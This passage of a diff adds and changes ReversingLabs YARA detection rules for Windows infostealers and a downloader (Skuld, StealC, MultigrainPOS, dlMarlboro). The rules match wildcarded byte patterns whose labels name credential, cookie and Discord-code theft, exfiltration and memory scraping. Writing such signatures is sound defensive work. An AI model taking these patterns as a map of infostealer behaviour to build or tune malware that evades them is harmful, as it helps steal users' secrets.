+ ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 ?? ?? ?? ?? FF D1 44 0F 11 BC 24 + ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? + ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 + 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 + 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? + ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? + ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 48 8B B4 24 ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? 4D 89 C1 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? + ?? ?? ?? 48 8B 11 90 48 85 D2 74 ?? 48 39 D1 74 ?? E9 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? + ?? 74 ?? E8 ?? ?? ?? ?? 49 89 0B 48 8B 11 49 89 53 ?? 48 89 09 48 8B 51 ?? 4C 8B 41 + ?? 4E 8D 0C 03 4C 8B 51 ?? 4C 39 CA 73 ?? 4C 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 + 89 84 24 ?? ?? ?? ?? 4C 89 D0 48 89 D1 48 89 DF 48 8D 35 ?? ?? ?? ?? 4C 89 CB E8 ?? + ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 49 89 C2 49 89 D9 48 89 CA 48 8B 84 24 ?? ?? ?? ?? + 48 8B 5C 24 ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? + ?? 4B 8D 34 02 48 89 D9 48 89 C3 48 89 F0 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 + } + $find_files_p4 = { + 8B B4 24 ?? ?? ?? ?? 48 89 56 ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 56 ?? 83 3D ?? ?? ?? + ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 49 + 89 13 4C 8B 46 ?? 4D 89 43 ?? 48 89 56 ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? + 48 8B 84 24 ?? ?? ?? ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B + 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 ?? ?? ?? ?? FF D1 48 89 44 24 ?? 44 0F 11 BC 24 ?? + ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B + 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 + 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 54 24 ?? 0F + 57 C0 F2 48 0F 2A C2 F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 66 48 0F 7E C0 0F 1F 40 ?? + E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? + 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 41 ?? 48 89 C2 48 F7 DA 48 8B 59 ?? + 90 48 39 D3 77 ?? 48 81 FB ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 0F 4F D9 48 8D 0D ?? ?? ?? + ?? 48 0F 4F C1 48 81 C4 ?? ?? ?? ?? 5D C3 + } + $take_screenshot_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? + ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 + 89 8C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 9C 24 ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 + ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? B9 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8D BC + 24 ?? ?? ?? ?? 48 8D 7F ?? 66 0F 1F 84 00 ?? ?? 00 00 66 0F 1F 44 00 ?? 48 89 6C 24 + ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 + 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D + 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 + ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 ?? ?? + ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 8C 24 ?? ?? + ?? ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 48 8B 8C 24 ?? ?? ?? ?? 84 01 83 3D ?? ?? ?? ?? ?? 75 + ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 49 89 03 48 8B 91 ?? ?? ?? ?? 49 89 53 ?? 48 + } + $take_screenshot_p2 = { + 8B 54 24 ?? 49 89 53 ?? 48 8B 59 ?? 49 89 5B ?? 48 89 81 ?? ?? ?? ?? 48 8B 5C 24 ?? + 48 89 59 ?? 48 89 51 ?? 48 89 C8 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? E8 ?? + ?? ?? ?? 0F 1F 44 00 ?? 48 85 FF 75 ?? 31 C9 31 D2 31 F6 EB ?? 31 C0 31 DB 48 89 D9 + 48 81 C4 ?? ?? ?? ?? 5D C3 48 89 04 3E 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B 5C + 24 ?? 48 FF CB 48 89 D7 48 89 F2 48 89 FE 66 90 48 85 DB 0F 8E ?? ?? ?? ?? 48 89 5C + 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 08 48 8B + 50 ?? 48 8D 5E ?? 48 89 5C 24 ?? 48 8B 49 ?? 48 89 D0 FF D1 44 0F 11 BC 24 ?? ?? ?? + ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? + 48 89 94 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 + ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 + 39 D1 72 ?? 48 8B B4 24 ?? ?? ?? ?? EB ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 84 24 + ?? ?? ?? ?? 48 89 D3 BF ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C6 48 + 89 DA 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8D 7A ?? 48 C1 E7 ?? 48 89 5C 3E ?? 83 3D ?? + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 89 03 4C 8B 04 3E 4D 89 43 ?? E9 ?? + ?? ?? ?? 48 89 D0 48 89 F3 48 81 C4 ?? ?? ?? ?? 5D C3 + } + $get_discord_backup_codes = { + 48 89 44 24 ?? 48 8D 1D ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 + 24 ?? ?? ?? ?? 49 89 D8 49 89 C9 31 C0 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? + 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 83 3D ?? ?? ?? ?? ?? 66 90 75 ?? 48 8B 54 24 ?? EB + ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 48 8B 58 ?? 49 89 5B ?? 48 89 50 ?? E8 ?? + ?? ?? ?? 48 89 44 24 ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D 05 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 83 3D ?? ?? ?? ?? ?? 74 ?? 48 8B + 50 ?? 66 90 E8 ?? ?? ?? ?? 49 89 13 48 8D 15 ?? ?? ?? ?? 48 89 50 ?? 31 C0 48 8D 1D + ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 74 24 ?? 49 89 D8 49 89 C9 E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? + ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 10 83 3D ?? ?? ?? + ?? ?? 75 ?? 48 8B 4C 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 49 89 0B 48 8B 50 ?? + 49 89 53 ?? 48 89 48 ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 + ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 48 89 10 BB ?? ?? ?? + ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? + ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 10 83 3D ?? + ?? ?? ?? ?? 75 ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 4C 8B + 48 ?? 4D 89 4B ?? 48 89 50 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 31 FF 31 + F6 49 89 F0 E8 ?? ?? ?? ?? 31 C0 31 DB 48 83 C4 ?? 5D C3 + } + + condition: + uint16( 0 ) == 0x5A4D and ( $get_mac_address ) and ( all of ( $find_files_p* ) ) and ( all of ( $take_screenshot_p* ) ) and ( $get_discord_backup_codes ) +} +rule REVERSINGLABS_Win32_Infostealer_Stealc : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects StealC infostealer." + author = "ReversingLabs" + id = "b53bbf15-3e94-513c-91a9-83dda421063b" + date = "2023-06-07" + modified = "2023-06-07" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win32.Infostealer.StealC.yara#L1-L57" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "bea1cf370150387eb185deff726e10e660e7eb571c20d22878def08b36f457bf" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Infostealer" + tc_detection_name = "StealC" + tc_detection_factor = 5 + importance = 25 + + strings: + $resolve_windows_api = { + 55 8B EC 51 83 65 ?? ?? 56 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 00 8B 40 ?? + 89 45 ?? 8B 75 ?? 89 35 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 + } + $load_sqlite3_functions = { + 55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 50 89 45 ?? 89 4D ?? 8B 4D ?? 8D + 45 ?? 50 89 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 45 ?? 57 89 45 ?? 8B 7D ?? + B9 ?? ?? ?? ?? 33 C0 F3 AA 5F 33 C0 C9 C3 8B 45 ?? 85 C0 74 ?? 53 8B 58 ?? 56 8B 70 + ?? FF 35 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? + A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? + ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 + } + $check_license_expiration_date = { + 55 8B EC 83 E4 ?? 83 EC ?? 57 33 C0 66 89 44 24 ?? 83 64 24 ?? ?? 8D 7C 24 ?? AB AB + AB 66 AB 33 C0 66 89 44 24 ?? 8D 7C 24 ?? AB AB AB 66 AB 33 C0 21 44 24 ?? 8D 7C 24 + ?? AB 8D 7C 24 ?? AB 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 8D + 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? + 8B 44 24 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? + 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 3B 44 24 ?? 72 ?? 77 ?? + 8B 44 24 ?? 3B 44 24 ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 8B E5 5D C3 + } + + condition: + uint16( 0 ) == 0x5A4D and ( $resolve_windows_api ) and ( $load_sqlite3_functions ) and ( $check_license_expiration_date ) +} rule REVERSINGLABS_Win64_Infostealer_Weaselstore : TC_DETECTION MALICIOUS MALWARE FILE { meta: @@ -595,6 +837,90 @@ rule REVERSINGLABS_Win64_Infostealer_Weaselstore : TC_DETECTION MALICIOUS MALWAR condition: uint16( 0 ) == 0x5A4D and ( all of ( $spawn_shell_p* ) ) and ( $gather_chrome_cookies ) and ( all of ( $change_chrome_profile_p* ) ) and ( all of ( $network_communication_p* ) ) } +rule REVERSINGLABS_Win32_Infostealer_Multigrainpos : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects MultigrainPOS infostealer." + author = "ReversingLabs" + id = "595c04af-802f-556d-b22b-23cac79b256e" + date = "2020-06-26" + modified = "2020-07-15" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win32.Infostealer.MultigrainPOS.yara#L1-L88" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "9808c95b850a54677c4132057b8372cabf0159920b7e0e6834a83f0d39c088fa" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Infostealer" + tc_detection_name = "MultigrainPOS" + tc_detection_factor = 5 + importance = 25 + + strings: + $data_exfiltration_v10_1 = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 1D ?? ?? ?? ?? 56 57 8B 3D ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F + 43 45 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 + FE ?? ?? ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 75 ?? 83 7D ?? ?? 5F 5E 5B 72 ?? FF 75 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 CD B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? + FF 75 ?? FF D7 68 ?? ?? ?? ?? FF D3 EB + } + $memory_scraping_v10_1 = { + 6A ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? 8B 8D ?? ?? + ?? ?? EB ?? 3C ?? 7C ?? 3C ?? 7E ?? 8A 46 ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 74 + } + $process_search_v10_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 1D ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? 8D + 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 + } + $service_creation_v10_1 = { + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 5E 8B 4C 24 ?? 33 CC E8 ?? ?? + ?? ?? 8B E5 5D C3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + FF 15 + } + $process_search_v11_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8B 7D ?? FF 15 ?? + ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 8D 49 ?? 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF D3 EB ?? 8D 8D + ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 66 89 + 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C9 EB ?? 8D A4 24 ?? + ?? ?? ?? EB ?? 8D 49 ?? 0F B7 84 0D ?? ?? ?? ?? 66 89 84 0D ?? ?? ?? ?? 8D 49 ?? 66 + 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + } + $memory_scraping_v11_1 = { + 6A ?? 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 6A ?? + 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 + } + $data_exfiltration_v11_1 = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8A 5D ?? 56 57 8B 3D ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F 43 45 ?? + 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 FE ?? ?? + ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 74 ?? 84 DB 74 ?? 33 F6 83 7D ?? ?? 72 ?? FF 75 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? + FF 75 ?? FF D7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 84 DB 74 ?? EB ?? BE ?? ?? ?? ?? EB + } + $service_creation_v11_1 = { + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 4C 24 ?? 33 CC E8 ?? ?? ?? + ?? 8B E5 5D C3 8D 44 24 ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 + } + + condition: + uint16( 0 ) == 0x5A4D and ( ( $data_exfiltration_v10_1 and $memory_scraping_v10_1 and $process_search_v10_1 and $service_creation_v10_1 ) or ( $process_search_v11_1 and $memory_scraping_v11_1 and $data_exfiltration_v11_1 and $service_creation_v11_1 ) ) +} rule REVERSINGLABS_Win64_Infostealer_Daolpu : TC_DETECTION MALICIOUS MALWARE FILE { meta: @@ -893,14469 +1219,36537 @@ rule REVERSINGLABS_Win64_Infostealer_Daolpu : TC_DETECTION MALICIOUS MALWARE FIL condition: uint16( 0 ) == 0x5A4D and ( ( $network_communication ) and ( all of ( $find_sensitive_files_p* ) ) and ( all of ( $parse_firefox_configuration_p* ) ) and ( all of ( $collect_browser_passwords_p* ) ) and ( all of ( $collect_cookies_p* ) ) ) } -rule REVERSINGLABS_Win64_Infostealer_Skuld : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Downloader_Dlmarlboro : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Skuld infostealer." + description = "Yara rule that detects dlMarlboro downloader." author = "ReversingLabs" - id = "2658fc6e-3f3f-5042-be05-cdcc3a29f133" - date = "2025-06-10" - modified = "2025-06-10" + id = "4c99b5a4-dc6b-579b-b1bd-bd4c93c6e68c" + date = "2020-07-23" + modified = "2020-07-23" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win64.Infostealer.Skuld.yara#L1-L192" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/downloader/Win32.Downloader.dlMarlboro.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a927a8bc74e2a6676825b208cd74f1be09cc3bc3aea7f7d54c5d016a330e77c2" + logic_hash = "465a3b3a9686889001ac0b929d0349e44b6015eaeed3386361366def5013164a" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Infostealer" - tc_detection_name = "Skuld" - tc_detection_factor = 5 + tc_detection_type = "Downloader" + tc_detection_name = "dlMarlboro" + tc_detection_factor = 3 importance = 25 strings: - $get_mac_address = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 48 85 FF 75 ?? EB ?? 31 C0 31 DB 48 89 F9 48 89 F7 48 81 C4 ?? ?? ?? ?? - 5D C3 48 83 C0 ?? 48 FF CB 48 85 DB 0F 8E ?? ?? ?? ?? 0F 10 00 0F 11 44 24 ?? 0F 10 - 40 ?? 0F 11 44 24 ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? - ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 0F BA E2 ?? 90 73 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 - ?? 31 C9 EB ?? 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 DB - 31 C9 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 89 C1 48 8B 84 24 ?? ?? ?? ?? 83 F1 ?? EB ?? 31 - C9 84 C9 0F 84 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 85 D2 74 ?? 48 89 54 24 ?? 48 - 8D 0C 52 48 8D 49 ?? 48 89 4C 24 ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 74 24 ?? 48 - 8B 7C 24 ?? 31 C9 31 DB EB ?? 31 C0 31 C9 EB ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? - 31 C9 31 FF 48 89 FE 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 31 C0 31 DB 48 - 81 C4 ?? ?? ?? ?? 5D C3 48 89 C3 31 FF 48 89 C8 31 C9 48 81 C4 ?? ?? ?? ?? 5D C3 44 - 88 44 03 ?? 48 FF C1 - } - $find_files_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? - ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 9C - 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 - 24 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 - 8B 4C 24 ?? 48 FF C1 48 8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? - ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 53 ?? 48 89 94 24 ?? ?? ?? ?? 4C 8B - 00 4C 89 44 24 ?? 4C 8B 48 ?? 